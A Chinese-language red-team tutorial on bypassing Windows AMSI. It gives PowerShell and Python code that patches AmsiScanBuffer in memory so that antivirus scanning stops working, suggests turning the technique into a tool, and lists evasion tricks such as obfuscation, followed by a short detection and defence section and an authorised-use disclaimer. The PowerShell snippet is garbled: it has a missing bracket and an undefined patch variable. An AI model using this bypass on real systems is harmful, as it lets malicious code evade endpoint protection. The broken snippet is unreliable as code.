0x01 渗透的启示
在一次针对某企业的红队评估中,我们的目标是在多层防御体系下进行快速的权限提升。此企业采用了Windows Defender作为其主要的防御机制,并启用了AMSI(反恶意软件扫描接口)来检测和阻止潜在恶意行为。为了完成我们的任务,我们需要找到一种方法来绕过AMSI的拦截,使得我们能够在目标系统上执行恶意代码。
攻击原理
AMSI是Windows提供的一种接口,允许应用程序在向用户提供内容之前,将内容发送给防病毒软件进行扫描。虽然AMSI本身不是防病毒软件,但它为防病毒软件提供了检测和拦截恶意软件的能力。攻击者通常会尝试修改AMSI的行为或在其检测之前执行恶意代码,以实现绕过。
我们的目标是通过修改内存中AMSI的相关函数地址,来绕过其检测机制。这种方法需要深入了解Windows的内存管理机制及相关API调用。

0x02 实战环境搭建
为了模拟企业的防御环境,我们搭建一个虚拟环境,其中包括:
- 一台启用了最新Windows Defender和AMSI的Windows Server
- Kali Linux作为攻击机,用于执行攻击脚本和工具
- 本地网络配置,确保两台机器能够互相通信
请确保Windows环境已经启用了防病毒软件和AMSI,以便我们能够测试绕过效果。
0x03 绕过实战演练
Python + PowerShell 实现
为了实现AMSI的绕过,首先需要在PowerShell中执行一个准备好的脚本,该脚本会修改AMSI内存中的相关函数地址,让其无法继续拦截我们的代码。
<pre><code class="language-powershell"># 使用PowerShell修改AMSI内存地址
确保以管理员身份运行
$signature = @" using System; using System.Runtime.InteropServices; public class BypassAMSI { DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type -TypeDefinition $signature $Addr = [BypassAMSI]::GetProcAddress([BypassAMSI]::LoadLibrary("amsi.dll"), "AmsiScanBuffer") [BypassAMSI]::VirtualProtect($Addr, [UIntPtr] 0x5, 0x40, [ref] 0) $Patch = [Byte[] [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Addr, 6)</code></pre>
Python脚本执行
接下来我们使用Python脚本,通过Win32 API来实现相似的效果。这可以让我们在攻击机上通过网络执行代码。
<pre><code class="language-python">import ctypes
加载kernel32.dll
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)

加载库并获取目标函数地址
amsi = kernel32.LoadLibraryA(b'amsi.dll') addr = kernel32.GetProcAddress(amsi, b'AmsiScanBuffer')
修改内存权限
old_protect = ctypes.c_ulong(0) kernel32.VirtualProtect(addr, ctypes.c_ulong(0x5), 0x40, ctypes.byref(old_protect))
编写补丁
patch = (ctypes.c_char 6)(b'\xB8\x01\x00\x00\x00\xC3') ctypes.memmove(addr, patch, 6)</code></pre>
这段代码通过Python实现了与PowerShell脚本相同的功能。它通过调用Windows API来修改AMSI的内存地址,从而实现绕过。
0x04 绕过的艺术:技术详解
AMSI绕过的核心在于修改内存中的AMSI函数,使其无法正常工作。上述代码通过加载AMSI库并获取函数地址,然后使用Windows的内存保护机制来修改内存权限,使得可以向内存写入数据。最后,通过直接修改内存中的字节码,我们能够阻止AMSI的功能。
这一技术需要了解Windows的内存管理机制以及如何使用API进行调用和修改。实际中,这一技术可以被武器化为自动化工具,使得红队人员能够快速部署。
绕过技巧
除了直接修改内存地址,攻击者还可以使用其他方法来绕过AMSI,包括:
- 使用混淆技术:将恶意代码混淆,使得AMSI难以检测
- 动态加载:通过动态加载恶意模块,避免静态检测
- 使用合法软件:将恶意代码隐藏在合法软件中执行
0x05 检测与防御
虽然AMSI可以被绕过,但企业可以采用多种防御措施来检测和阻止此类攻击:
- 行为监测:通过行为分析来检测异常的内存修改行为
- 内存完整性检查:定期检查内存中关键函数地址是否被修改
- 启用EDR:使用高级的终端检测与响应系统,能够捕获并分析可疑活动
企业应定期更新安全软件,并进行红队演练,以测试其防御措施的有效性。

0x06 实战经验分享
在进行AMSI绕过的过程中,我发现攻击者需要深入了解Windows内核的工作机制以及内存管理,这不仅需要技术能力,还需要对操作系统的底层原理有扎实的理解。这次渗透测试让我意识到,虽然防御机制在不断进步,但攻击者只需找到一个微小的漏洞,就能完全绕过复杂的防御体系。
在红队演练中,我们不仅需要掌握技术,还要具备创造性思维,利用各种潜在的攻击路径和方法,规避防御措施,实现目标的渗透。
注意:本文仅限于授权的安全测试和研究用途。未经授权的攻击行为是非法的。任何使用本文中技术的行为都需严格遵循法律规定。